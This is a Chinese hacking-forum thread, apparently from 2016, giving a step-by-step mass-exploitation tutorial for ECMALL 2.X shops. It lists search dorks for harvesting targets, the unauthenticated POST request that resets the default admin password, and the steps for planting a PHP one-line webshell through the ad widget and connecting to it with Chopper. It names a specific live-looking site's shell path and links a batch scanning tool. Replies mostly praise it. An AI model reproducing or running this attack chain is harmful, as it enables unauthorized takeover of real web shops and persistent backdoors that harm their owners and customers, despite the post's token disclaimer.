请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 6280|回复: 141

[原创文章] ECMALL重置管理员密码+后台GETSHELL教程。附批量检测工具

  [复制链接]
  • TA的每日心情
    开心
    2016-2-2 20:06
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2016-1-16 13:39:05 | 显示全部楼层 |阅读模式
    说明:重置密码漏洞来源于http://www.wooyun.org/bugs/wooyun-2010-037631  适用版本:2.X
    想到批量,首先我们需要一个URL的批量采集器,和一些关键词。
    关键词我简单写了几个:
    inurl:index.php?app=goods
    inurl:index.php?app=
    index.php?app=member
    index.php?app=member&act=login
    index.php?app=article
    使用批量采集工具进行采集:
    caiji.png
    得到列表之后,使用我写的批量检测工具加载URL列表。
    gj.png
    点开始之后即可自动检测是否存在漏洞。我们先介绍下漏洞原理:
    http://域名/index.php?app=find_password&act=set_password&id=1
    POST :    new_password=123456&confirm_password=123456
    只要post如上数据,即可改掉默认的管理用户密码。此漏洞原因是ecmall2.X重置密码的最后一个方法没有校验验证码是否存在以及正确,所以直接把数据提交过去即可修改成功。由于ecmall默认后台是域名/admin    默认用户名是admin。所以你懂得~
    chenggong.png
    我们用成功的去试一下,getshell教程开始。
    ad.png
    登录后台之后,直奔扩展-》挂件管理。这里面的所有挂件都可以写shell,只不过我一般喜欢用广告这个挂件,而且我记住了对应的路径。哈哈。。。如果遇到不知道路径的时候,审查元素下即可看到。
    shell.png
    php一句话走起,然后我们就连接这个挂件的地址:http://dd.lntvu.com/external/widgets/advt/main.widget.php
    挂件的地址我讲解下:http://域名/external/widgets/你审查元素看到的挂件名字/main.widget.php
    菜刀连接一下:
    菜刀.png
    是不是很简单呢?
    我的批量工具是用python写的,实现了GUI效果,也就是说源码可见。请勿用于非法用途或者攻击网站,出现任何问题本人不负任何责任。检测下提交乌云或者补天,混个激活码或者乌币还是可以的。
    工具下载地址:链接:http://pan.baidu.com/s/1gdT4yK7
    游客,如果您要查看本帖隐藏内容请回复
         30多MB,内含工具+视频教程+所需要的pyqt4扩展包。
    python版本需要2.7.X,请大家自行百度学习安装。

    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    7 天前
  • 签到天数: 85 天

    [LV.6]常住居民II

    发表于 2016-1-16 14:32:58 | 显示全部楼层
    前排 留言 这exp 我拿了
  • TA的每日心情
    擦汗
    2015-11-25 12:26
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2016-1-16 14:41:39 | 显示全部楼层
    厉害了
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-1-16 15:39:18 | 显示全部楼层
    支持python,支持开源,楼主牛逼
  • TA的每日心情
    开心
    2017-2-14 16:14
  • 签到天数: 39 天

    [LV.5]常住居民I

    发表于 2016-1-16 15:51:09 | 显示全部楼层
    支持啊!大牛,兄弟可以的
  • TA的每日心情
    奋斗
    22 小时前
  • 签到天数: 307 天

    [LV.8]以坛为家I

    发表于 2016-1-16 16:35:42 | 显示全部楼层
       后排出售瓜子壳
  • TA的每日心情
    奋斗
    7 小时前
  • 签到天数: 117 天

    [LV.6]常住居民II

    发表于 2016-1-16 16:46:27 | 显示全部楼层
    支持开源,楼主牛逼
  • TA的每日心情
    郁闷
    19 小时前
  • 签到天数: 98 天

    [LV.6]常住居民II

    发表于 2016-1-16 16:48:47 | 显示全部楼层
    66666666666666666666
  • TA的每日心情

    9 小时前
  • 签到天数: 185 天

    [LV.7]常住居民III

    发表于 2016-1-16 16:52:22 | 显示全部楼层
    玩一下啊                                       
  • TA的每日心情

    2015-11-25 10:00
  • 签到天数: 86 天

    [LV.6]常住居民II

    发表于 2016-1-16 17:02:58 | 显示全部楼层
    厉害厉害,学习下代码
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-24 23:19 , Processed in 0.527688 second(s), 38 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表